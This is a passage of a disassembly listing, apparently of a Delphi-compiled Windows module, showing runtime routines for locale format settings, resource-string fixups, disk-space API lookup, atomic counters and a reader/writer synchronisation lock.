

loc_4000BE3C:				; CODE XREF: sub_4000BDA0+93j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000BDA0	endp

; ---------------------------------------------------------------------------
		align 4
dword_4000BE44	dd 8 dup(0)	
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000BE64	proc near		; CODE XREF: sub_400190AC+5Fp

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 8


loc_4000BE6C:				; CODE XREF: sub_4000BE64+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4000BE6C
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_4000C12F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_4000BDA0
		call	sub_4000A91C
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000BE9A
		call	sub_4000AAF4


loc_4000BE9A:				; CODE XREF: sub_4000BE64+2Fj
		call	sub_400065C8	; GetThreadLocale
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		push	eax
		xor	ecx, ecx
		mov	edx, 14h
		mov	eax, ebx
		call	sub_4000A868
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_4001E808
		call	sub_400048D8
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, offset dword_4000C144
		mov	edx, 1Bh
		mov	eax, ebx
		call	sub_4000A868
		mov	eax, [ebp+var_14]
		xor	edx, edx
		call	sub_40007DD4
		mov	ds:byte_4001E80C, al
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, offset dword_4000C144
		mov	edx, 1Ch
		mov	eax, ebx
		call	sub_4000A868
		mov	eax, [ebp+var_18]
		xor	edx, edx
		call	sub_40007DD4
		mov	ds:byte_4001E80D, al
		mov	cl, 2Ch
		mov	edx, 0Fh
		mov	eax, ebx
		call	sub_4000A8B4
		mov	ds:byte_4001E80E, al
		mov	cl, 2Eh
		mov	edx, 0Eh
		mov	eax, ebx
		call	sub_4000A8B4
		mov	ds:byte_4001E80F, al
		lea	eax, [ebp+var_1C]
		push	eax
		mov	ecx, offset dword_4000C144
		mov	edx, 19h
		mov	eax, ebx
		call	sub_4000A868
		mov	eax, [ebp+var_1C]
		xor	edx, edx
		call	sub_40007DD4
		mov	ds:byte_4001E810, al
		mov	cl, 2Fh
		mov	edx, 1Dh
		mov	eax, ebx
		call	sub_4000A8B4
		mov	ds:byte_4001E811, al
		lea	eax, [ebp+var_24]
		push	eax
		mov	ecx, offset dword_4000C150
		mov	edx, 1Fh
		mov	eax, ebx
		call	sub_4000A868
		mov	eax, [ebp+var_24]
		lea	edx, [ebp+var_20]
		call	sub_4000ABA4
		mov	edx, [ebp+var_20]
		mov	eax, offset dword_4001E814
		call	sub_400048D8
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, offset dword_4000C160
		mov	edx, 20h
		mov	eax, ebx
		call	sub_4000A868
		mov	eax, [ebp+var_2C]
		lea	edx, [ebp+var_28]
		call	sub_4000ABA4
		mov	edx, [ebp+var_28]
		mov	eax, offset dword_4001E818
		call	sub_400048D8
		mov	cl, 3Ah
		mov	edx, 1Eh
		mov	eax, ebx
		call	sub_4000A8B4
		mov	ds:byte_4001E81C, al
		lea	eax, [ebp+var_30]
		push	eax
		mov	ecx, offset dword_4000C178
		mov	edx, 28h
		mov	eax, ebx
		call	sub_4000A868
		mov	edx, [ebp+var_30]
		mov	eax, offset dword_4001E820
		call	sub_400048D8
		lea	eax, [ebp+var_34]
		push	eax
		mov	ecx, offset dword_4000C184
		mov	edx, 29h
		mov	eax, ebx
		call	sub_4000A868
		mov	edx, [ebp+var_34]
		mov	eax, offset dword_4001E824
		call	sub_400048D8
		lea	eax, [ebp+var_8]
		call	sub_40004884
		lea	eax, [ebp+var_C]
		call	sub_40004884
		lea	eax, [ebp+var_38]
		push	eax
		mov	ecx, offset dword_4000C144
		mov	edx, 25h
		mov	eax, ebx
		call	sub_4000A868
		mov	eax, [ebp+var_38]
		xor	edx, edx
		call	sub_40007DD4
		test	eax, eax
		jnz	short loc_4000C058
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_4000C190
		call	sub_4000491C
		jmp	short loc_4000C065
; ---------------------------------------------------------------------------


loc_4000C058:				; CODE XREF: sub_4000BE64+1E3j
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_4000C19C
		call	sub_4000491C


loc_4000C065:				; CODE XREF: sub_4000BE64+1F2j
		lea	eax, [ebp+var_3C]
		push	eax
		mov	ecx, offset dword_4000C144
		mov	edx, 23h
		mov	eax, ebx
		call	sub_4000A868
		mov	eax, [ebp+var_3C]
		xor	edx, edx
		call	sub_40007DD4
		test	eax, eax
		jnz	short loc_4000C0C7
		lea	eax, [ebp+var_40]
		push	eax
		mov	ecx, offset dword_4000C144
		mov	edx, 1005h
		mov	eax, ebx
		call	sub_4000A868
		mov	eax, [ebp+var_40]
		xor	edx, edx
		call	sub_40007DD4
		test	eax, eax
		jnz	short loc_4000C0BA
		lea	eax, [ebp+var_C]
		mov	edx, offset dword_4000C1A8
		call	sub_4000491C
		jmp	short loc_4000C0C7
; ---------------------------------------------------------------------------


loc_4000C0BA:				; CODE XREF: sub_4000BE64+245j
		lea	eax, [ebp+var_8]
		mov	edx, offset dword_4000C1B8
		call	sub_4000491C


loc_4000C0C7:				; CODE XREF: sub_4000BE64+222j
					; sub_4000BE64+254j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset dword_4000C1C8
		push	[ebp+var_C]
		mov	eax, offset dword_4001E828
		mov	edx, 4
		call	sub_40004C08
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset dword_4000C1D4
		push	[ebp+var_C]
		mov	eax, offset dword_4001E82C
		mov	edx, 4
		call	sub_40004C08
		mov	cl, 2Ch
		mov	edx, 0Ch
		mov	eax, ebx
		call	sub_4000A8B4
		mov	byte ptr ds:dword_4001E8D4+2, al
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000C136


loc_4000C121:				; CODE XREF: sub_4000BE64+2D0j
		lea	eax, [ebp+var_40]
		mov	edx, 10h
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_4000C12F:				; DATA XREF: sub_4000BE64+13o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000C121
; ---------------------------------------------------------------------------


loc_4000C136:				; CODE XREF: sub_4000BE64+2CAj
					; DATA XREF: sub_4000BE64+2B8o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000BE64	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_4000C144	dd 30h,	0FFFFFFFFh, 6					; sub_4000BE64+84o ...
dword_4000C150	dd 2F642F6Dh, 7979h, 0FFFFFFFFh, 0Chdword_4000C160	dd 6D6D6D6Dh, 202C6420h, 79797979h, 0		dd 0FFFFFFFFh, 2
dword_4000C178	dd 6D61h, 0FFFFFFFFh, 2dword_4000C184	dd 6D70h, 0FFFFFFFFh, 1dword_4000C190	dd 68h,	0FFFFFFFFh, 2dword_4000C19C	dd 6868h, 0FFFFFFFFh, 5dword_4000C1A8	dd 504D4120h, 4Dh, 0FFFFFFFFh, 5dword_4000C1B8	dd 4D504D41h, 20h, 0FFFFFFFFh, 3dword_4000C1C8	dd 6D6D3Ah, 0FFFFFFFFh,	6dword_4000C1D4	dd 3A6D6D3Ah, 7373hoff_4000C1DC	dd offset dword_4000C1E0 ; DATA	XREF: .text:4000C225o
dword_4000C1E0	dd 55540E11h, 4874696Eh, 41687361h, 79617272h, 14h, 0
					; DATA XREF: .text:off_4000C1DCo
		dd 0FFFFFFFFh, 0
		dd 73795308h, 6C697455h, 408D73h
off_4000C20C	dd offset dword_4000C210 ; DATA	XREF: sub_4000C230:loc_4000C3EBr
dword_4000C210	dd 4D540B0Eh, 6C75646Fh, 666E4965h, 86Fh, 100h
					; DATA XREF: .text:off_4000C20Co
		db 0
		dd offset off_4000C1DC
		db 4, 2	dup(0)
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000C230	proc near		; DATA XREF: sub_4000CC50+27o
					; sub_400190AC+4Bo

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	edx, off_4001B074
		mov	edx, [edx]
		test	edx, edx
		jz	short loc_4000C24E


loc_4000C243:				; CODE XREF: sub_4000C230+1Cj
		cmp	eax, [edx+4]
		jz	short loc_4000C24E
		mov	edx, [edx]
		test	edx, edx
		jnz	short loc_4000C243


loc_4000C24E:				; CODE XREF: sub_4000C230+11j
					; sub_4000C230+16j
		mov	[esp+1Ch+var_1C], edx
		cmp	[esp+1Ch+var_1C], 0
		jz	loc_4000C400
		mov	eax, [esp+1Ch+var_1C]
		cmp	dword ptr [eax+14h], 0
		jz	loc_4000C400
		mov	eax, [esp+1Ch+var_1C]
		mov	ebx, [eax+14h]
		cmp	byte ptr [ebx],	0
		jz	short loc_4000C27D
		mov	[esp+1Ch+var_18], offset dword_4001EA24
		jmp	short loc_4000C285
; ---------------------------------------------------------------------------


loc_4000C27D:				; CODE XREF: sub_4000C230+41j
		mov	[esp+1Ch+var_18], offset dword_4001EE24


loc_4000C285:				; CODE XREF: sub_4000C230+4Bj
		mov	eax, [ebx+4]
		call	sub_40005974
		mov	edi, eax
		test	edi, edi
		jl	loc_4000C3EB
		inc	edi
		xor	esi, esi


loc_4000C29A:				; CODE XREF: sub_4000C230+1B5j
		lea	eax, [esi+esi*4]
		mov	edx, [ebx+4]
		cmp	dword ptr [edx+eax*4+4], 0
		jz	short loc_4000C2BE
		mov	edx, [ebx+4]
		mov	eax, [edx+eax*4]
		lea	edx, [esi+esi*4]
		mov	ecx, [ebx+4]
		mov	edx, [ecx+edx*4+4]
		mov	[edx], eax
		jmp	loc_4000C3C4
; ---------------------------------------------------------------------------


loc_4000C2BE:				; CODE XREF: sub_4000C230+75j
		mov	edx, [ebx+4]
		cmp	dword ptr [edx+eax*4+0Ch], 0
		jz	loc_4000C3C4
		lea	eax, [esi+esi*4]
		mov	edx, [ebx+4]
		mov	eax, [edx+eax*4+0Ch]
		xor	edx, edx
		mov	[esp+1Ch+var_14], edx


loc_4000C2DC:				; CODE XREF: sub_4000C230+153j
		movzx	edx, byte ptr [eax]
		test	dl, dl
		jz	loc_4000C388
		mov	ecx, [esp+1Ch+var_14]
		add	ecx, ecx
		add	ecx, ecx
		mov	ebp, [esp+1Ch+var_14]
		shr	ebp, 1Eh
		or	ecx, ebp
		movzx	edx, dl
		movzx	edx, ds:byte_4001E924[edx]
		xor	ecx, edx
		mov	[esp+1Ch+var_14], ecx
		cmp	byte ptr [eax+1], 0
		jz	short loc_4000C388
		mov	edx, [esp+1Ch+var_14]
		add	edx, edx
		add	edx, edx
		mov	ecx, [esp+1Ch+var_14]
		shr	ecx, 1Eh
		or	edx, ecx
		movzx	ecx, byte ptr [eax+1]
		movzx	ecx, ds:byte_4001E924[ecx]
		xor	edx, ecx
		mov	[esp+1Ch+var_14], edx
		cmp	byte ptr [eax+2], 0
		jz	short loc_4000C388
		mov	edx, [esp+1Ch+var_14]
		add	edx, edx
		add	edx, edx
		mov	ecx, [esp+1Ch+var_14]
		shr	ecx, 1Eh
		or	edx, ecx
		movzx	ecx, byte ptr [eax+2]
		movzx	ecx, ds:byte_4001E924[ecx]
		xor	edx, ecx
		mov	[esp+1Ch+var_14], edx
		cmp	byte ptr [eax+3], 0
		jz	short loc_4000C388
		mov	edx, [esp+1Ch+var_14]
		add	edx, edx
		add	edx, edx
		mov	ecx, [esp+1Ch+var_14]
		shr	ecx, 1Eh
		or	edx, ecx
		movzx	ecx, byte ptr [eax+3]
		movzx	ecx, ds:byte_4001E924[ecx]
		xor	edx, ecx
		mov	[esp+1Ch+var_14], edx
		add	eax, 4
		jmp	loc_4000C2DC
; ---------------------------------------------------------------------------


loc_4000C388:				; CODE XREF: sub_4000C230+B1j
					; sub_4000C230+DCj ...
		movzx	eax, byte ptr [esp+1Ch+var_14]
		xor	al, byte ptr [esp+1Ch+var_14+1]
		xor	al, byte ptr [esp+1Ch+var_14+2]
		xor	al, byte ptr [esp+1Ch+var_14+3]
		movzx	edx, al
		mov	ecx, [esp+1Ch+var_18]
		mov	edx, [ecx+edx*4]
		lea	ecx, [esi+esi*4]
		mov	ebp, [ebx+4]
		lea	ecx, [ebp+ecx*4+0]
		cmp	edx, ecx
		jnz	short loc_4000C3C4
		lea	edx, [esi+esi*4]
		mov	ecx, [ebx+4]
		mov	edx, [ecx+edx*4]
		movzx	eax, al
		mov	ecx, [esp+1Ch+var_18]
		mov	[ecx+eax*4], edx


loc_4000C3C4:				; CODE XREF: sub_4000C230+89j
					; sub_4000C230+96j ...
		lea	eax, [esi+esi*4]
		mov	edx, [ebx+4]
		cmp	dword ptr [edx+eax*4], 0
		jz	short loc_4000C3E3
		mov	edx, [ebx+4]
		mov	eax, [edx+eax*4+4]
		lea	edx, [esi+esi*4]
		mov	ecx, [ebx+4]
		mov	edx, [ecx+edx*4]
		mov	[edx+4], eax


loc_4000C3E3:				; CODE XREF: sub_4000C230+19Ej
		inc	esi
		dec	edi
		jnz	loc_4000C29A


loc_4000C3EB:				; CODE XREF: sub_4000C230+61j
		mov	edx, ds:off_4000C20C
		mov	eax, ebx
		call	sub_40005634
		mov	eax, [esp+1Ch+var_1C]
		xor	edx, edx
		mov	[eax+14h], edx


loc_4000C400:				; CODE XREF: sub_4000C230+25j
					; sub_4000C230+32j
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000C230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000C408	proc near		; CODE XREF: .text:4000C8EAp
		jmp	ds:dword_4002463C
sub_4000C408	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000C410	proc near		; CODE XREF: sub_40013E14+28p
		call	sub_40006580	; RtlGetLastWin32Error
		call	sub_4000C41C
		retn
sub_4000C410	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000C41C	proc near		; CODE XREF: sub_4000C410+5p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		xor	edx, edx
		mov	[ebp+var_14], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000C4A7
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	ebx, ebx
		jz	short loc_4000C473
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], 0
		lea	edx, [ebp+var_14]
		mov	eax, ebx
		call	sub_4000A81C
		mov	eax, [ebp+var_14]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0Bh
		lea	eax, [ebp+var_10]
		push	eax
		push	1
		mov	ecx, off_4001B030
		mov	dl, 1
		mov	eax, ds:off_40007720
		call	sub_4000B128
		mov	edx, eax
		jmp	short loc_4000C487
; ---------------------------------------------------------------------------


loc_4000C473:				; CODE XREF: sub_4000C41C+1Ej
		mov	ecx, off_4001B0A4
		mov	dl, 1
		mov	eax, ds:off_40007720
		call	sub_4000B0EC
		mov	edx, eax


loc_4000C487:				; CODE XREF: sub_4000C41C+55j
		mov	[edx+0Ch], ebx
		mov	eax, edx
		call	sub_400042E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000C4AE


loc_4000C49E:				; CODE XREF: sub_4000C41C+90j
		lea	eax, [ebp+var_14]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000C4A7:				; DATA XREF: sub_4000C41C+11o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000C49E
; ---------------------------------------------------------------------------


loc_4000C4AE:				; CODE XREF: sub_4000C41C+8Aj
					; DATA XREF: sub_4000C41C+7Do
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000C41C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C4B4	proc near		; CODE XREF: sub_4000CC50+31p
		push	ebx
		push	esi
		mov	esi, offset dword_4001AA04
		jmp	short loc_4000C4CF
; ---------------------------------------------------------------------------


loc_4000C4BD:				; CODE XREF: sub_4000C4B4+1Ej
		mov	ebx, [esi]
		mov	eax, [ebx]
		mov	[esi], eax
		mov	edx, 8
		mov	eax, ebx
		call	sub_40002C3C


loc_4000C4CF:				; CODE XREF: sub_4000C4B4+7j
		cmp	dword ptr [esi], 0
		jnz	short loc_4000C4BD
		pop	esi
		pop	ebx
		retn
sub_4000C4B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C4D8	proc near		; CODE XREF: sub_400190AC+5Ap
		push	ebx
		push	offset dword_4000C510
		call	sub_400065A0	; GetModuleHandleA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4000C4F9
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	ebx
		call	sub_400065A8	; GetProcAddress
		mov	dword_4001A850,	eax


loc_4000C4F9:				; CODE XREF: sub_4000C4D8+Fj
		cmp	dword_4001A850,	0
		jnz	short loc_4000C50C
		mov	eax, offset sub_400080E8
		mov	dword_4001A850,	eax


loc_4000C50C:				; CODE XREF: sub_4000C4D8+28j
		pop	ebx
		retn
sub_4000C4D8	endp

; ---------------------------------------------------------------------------
		align 10h
dword_4000C510	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4000C4D8+11o

; =============== S U B	R O U T	I N E =======================================



sub_4000C534	proc near		; CODE XREF: sub_4000C79C+44p
					; sub_4000C79C+92p ...
		mov	edx, 1
		xchg	eax, edx
		lock xadd [edx], eax
		inc	eax
		retn
sub_4000C534	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000C540	proc near		; CODE XREF: sub_4000C79C+87p
					; .text:4000C8F9p
		mov	edx, 0FFFFFFFFh
		xchg	eax, edx
		lock xadd [edx], eax
		dec	eax
		retn
sub_4000C540	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000C54C	proc near		; CODE XREF: sub_4000C5D0+62p
					; sub_4000C658+1Ep
		xchg	edx, [eax]
		mov	eax, edx
		retn
sub_4000C54C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C554	proc near		; CODE XREF: sub_4000C79C+53p
					; sub_4000C79C+6Dp ...
		xchg	eax, edx
		lock xadd [edx], eax
		retn
sub_4000C554	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C55C	proc near		; DATA XREF: .text:40007874o

var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		call	sub_40003FD8
		mov	[esp+14h+var_14], dl
		mov	ebp, eax
		xor	edi, edi


loc_4000C56D:				; CODE XREF: sub_4000C55C+32j
		mov	ebx, [ebp+edi*4+4]
		xor	eax, eax
		mov	[ebp+edi*4+4], eax
		test	ebx, ebx
		jz	short loc_4000C58A


loc_4000C57B:				; CODE XREF: sub_4000C55C+2Cj
		mov	esi, ebx
		mov	ebx, [ebx]
		mov	eax, esi
		call	sub_40002C3C
		test	ebx, ebx
		jnz	short loc_4000C57B


loc_4000C58A:				; CODE XREF: sub_4000C55C+1Dj
		inc	edi
		cmp	edi, 10h
		jnz	short loc_4000C56D
		movzx	edx, [esp+14h+var_14]
		and	dl, 0FCh
		mov	eax, ebp
		call	sub_40003CD8
		cmp	[esp+14h+var_14], 0
		jle	short loc_4000C5AB
		mov	eax, ebp
		call	sub_40003F80


loc_4000C5AB:				; CODE XREF: sub_4000C55C+46j
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000C55C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000C5B4	proc near		; CODE XREF: sub_4000C5D0+Cp
					; sub_4000C658+6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_40006560	; GetCurrentThreadId
		mov	[ebp+var_2], ax
		movzx	eax, byte ptr [ebp+var_2]
		xor	al, byte ptr [ebp+var_2+1]
		and	al, 0Fh
		pop	ecx
		pop	ebp
		retn
sub_4000C5B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000C5D0	proc near		; CODE XREF: sub_4000C79C+2Ep
					; .text:4000C851p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	[esp+14h+var_14], edx
		mov	edi, eax
		mov	eax, edi
		call	sub_4000C5B4
		mov	ebx, eax
		call	sub_40006560	; GetCurrentThreadId
		mov	esi, eax
		movzx	eax, bl
		mov	ebp, [edi+eax*4+4]
		jmp	short loc_4000C5F6
; ---------------------------------------------------------------------------


loc_4000C5F3:				; CODE XREF: sub_4000C5D0+2Dj
		mov	ebp, [ebp+0]


loc_4000C5F6:				; CODE XREF: sub_4000C5D0+21j
		test	ebp, ebp
		jz	short loc_4000C5FF
		cmp	esi, [ebp+4]
		jnz	short loc_4000C5F3


loc_4000C5FF:				; CODE XREF: sub_4000C5D0+28j
		test	ebp, ebp
		jnz	short loc_4000C63A
		mov	eax, edi
		call	sub_4000C658
		mov	ebp, eax
		test	ebp, ebp
		jnz	short loc_4000C63A
		mov	eax, 10h
		call	loc_40002C08
		mov	ebp, eax
		mov	[ebp+4], esi
		mov	dword ptr [ebp+8], 7FFFFFFFh
		mov	[ebp+0], ebp
		movzx	eax, bl
		lea	eax, [edi+eax*4+4]
		mov	edx, ebp
		call	sub_4000C54C
		mov	[ebp+0], eax


loc_4000C63A:				; CODE XREF: sub_4000C5D0+31j
					; sub_4000C5D0+3Ej
		mov	eax, [esp+14h+var_14]
		mov	[eax], ebp
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000C5D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C648	proc near		; CODE XREF: .text:4000C88Dp
					; .text:4000C92Ap
		mov	eax, [edx]
		xor	ecx, ecx
		mov	[eax+4], ecx
		mov	eax, [edx]
		xor	edx, edx
		mov	[eax+8], edx
		retn
sub_4000C648	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C658	proc near		; CODE XREF: sub_4000C5D0+35p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	eax, ebx
		call	sub_4000C5B4
		movzx	eax, al
		mov	ebx, [ebx+eax*4+4]
		test	ebx, ebx
		jz	short loc_4000C695


loc_4000C66E:				; CODE XREF: sub_4000C658+3Bj
		lea	eax, [ebx+8]
		mov	edx, 7FFFFFFFh
		call	sub_4000C54C
		mov	esi, eax
		cmp	esi, 7FFFFFFFh
		jz	short loc_4000C68F
		call	sub_40006560	; GetCurrentThreadId
		mov	[ebx+4], eax
		jmp	short loc_4000C695
; ---------------------------------------------------------------------------


loc_4000C68F:				; CODE XREF: sub_4000C658+2Bj
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_4000C66E


loc_4000C695:				; CODE XREF: sub_4000C658+14j
					; sub_4000C658+35j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4000C658	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C69C	proc near		; CODE XREF: sub_400191F8+30p
		push	ebx
		push	esi
		test	dl, dl
		jz	short loc_4000C6AA
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4000C6AA:				; CODE XREF: sub_4000C69C+4j
		mov	ebx, edx
		mov	esi, eax
		xor	edx, edx
		mov	eax, esi
		call	sub_40003CB8
		mov	dword ptr [esi+0Ch], 0FFFFh
		push	0
		push	0FFFFFFFFh
		push	0FFFFFFFFh
		push	0
		call	sub_40006508	; CreateEventA
		mov	[esi+10h], eax
		push	0
		push	0
		push	0
		push	0
		call	sub_40006508	; CreateEventA
		mov	[esi+14h], eax
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	dl, 1
		mov	eax, ds:off_4000782C
		call	sub_40003CB8
		mov	[esi+20h], eax
		mov	eax, esi
		test	bl, bl
		jz	short loc_4000C709
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4000C709:				; CODE XREF: sub_4000C69C+5Cj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4000C69C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000C710	proc near		; DATA XREF: .text:40007950o
		push	ebx
		push	esi
		call	sub_40003FD8
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_4000C79C
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_40003CD8
		mov	eax, [esi+10h]
		push	eax
		call	sub_400064F0	; CloseHandle
		mov	eax, [esi+14h]
		push	eax
		call	sub_400064F0	; CloseHandle
		mov	eax, [esi+20h]
		call	sub_40003CE8
		test	bl, bl
		jle	short loc_4000C753
		mov	eax, esi
		call	sub_40003F80


loc_4000C753:				; CODE XREF: sub_4000C710+3Aj
		pop	esi
		pop	ebx
		retn
sub_4000C710	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C758	proc near		; CODE XREF: sub_4000C79C+1Dp
					; sub_4000C79C+7Bp
		mov	eax, [eax+10h]
		push	eax
		call	sub_40006620	; ResetEvent
		retn
sub_4000C758	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C764	proc near		; CODE XREF: .text:4000C87Ap
		mov	eax, [eax+10h]
		push	eax
		call	sub_40006628	; SetEvent
		retn
sub_4000C764	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000C770	proc near		; CODE XREF: .text:4000C873p
					; .text:4000C8E3p ...
		mov	eax, [eax+14h]
		push	eax
		call	sub_40006628	; SetEvent
		retn
sub_4000C770	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C77C	proc near		; CODE XREF: .text:4000C8C8p
					; .text:4000C8F1p
		mov	edx, [eax+18h]
		push	edx
		mov	eax, [eax+10h]
		push	eax
		call	sub_40006650	; WaitForSingleObject
		retn
sub_4000C77C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C78C	proc near		; CODE XREF: sub_4000C79C+60p
		mov	edx, [eax+18h]
		push	edx
		mov	eax, [eax+14h]
		push	eax
		call	sub_40006650	; WaitForSingleObject
		retn
sub_4000C78C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C79C	proc near		; CODE XREF: sub_4000C710+Dp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebp, eax
		mov	bl, 1
		call	sub_40006560	; GetCurrentThreadId
		mov	edi, eax
		cmp	edi, [ebp+24h]
		jz	loc_4000C83B
		mov	eax, ebp
		call	sub_4000C758
		mov	eax, [ebp+28h]
		mov	[esp+18h+var_14], eax
		mov	edx, esp
		mov	eax, [ebp+20h]
		call	sub_4000C5D0
		mov	eax, [esp+18h+var_18]
		cmp	dword ptr [eax+0Ch], 0
		setnbe	bl
		test	bl, bl
		jz	short loc_4000C801
		lea	eax, [ebp+0Ch]
		call	sub_4000C534
		jmp	short loc_4000C801
; ---------------------------------------------------------------------------


loc_4000C7E7:				; CODE XREF: sub_4000C79C+77j
		lea	eax, [ebp+0Ch]
		mov	edx, 0FFFFh
		call	sub_4000C554
		mov	esi, eax
		test	esi, esi
		jz	short loc_4000C801
		mov	eax, ebp
		call	sub_4000C78C


loc_4000C801:				; CODE XREF: sub_4000C79C+3Fj
					; sub_4000C79C+49j ...
		lea	eax, [ebp+0Ch]
		mov	edx, 0FFFF0001h
		call	sub_4000C554
		cmp	eax, 0FFFFh
		jnz	short loc_4000C7E7
		mov	eax, ebp
		call	sub_4000C758
		test	bl, bl
		jz	short loc_4000C828
		lea	eax, [ebp+0Ch]
		call	sub_4000C540


loc_4000C828:				; CODE XREF: sub_4000C79C+82j
		mov	[ebp+24h], edi
		lea	eax, [ebp+28h]
		call	sub_4000C534
		dec	eax
		cmp	eax, [esp+18h+var_14]
		setz	bl


loc_4000C83B:				; CODE XREF: sub_4000C79C+15j
		inc	dword ptr [ebp+1Ch]
		mov	eax, ebx
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000C79C	endp

; ---------------------------------------------------------------------------
		align 4
		push	ebx
		push	ecx
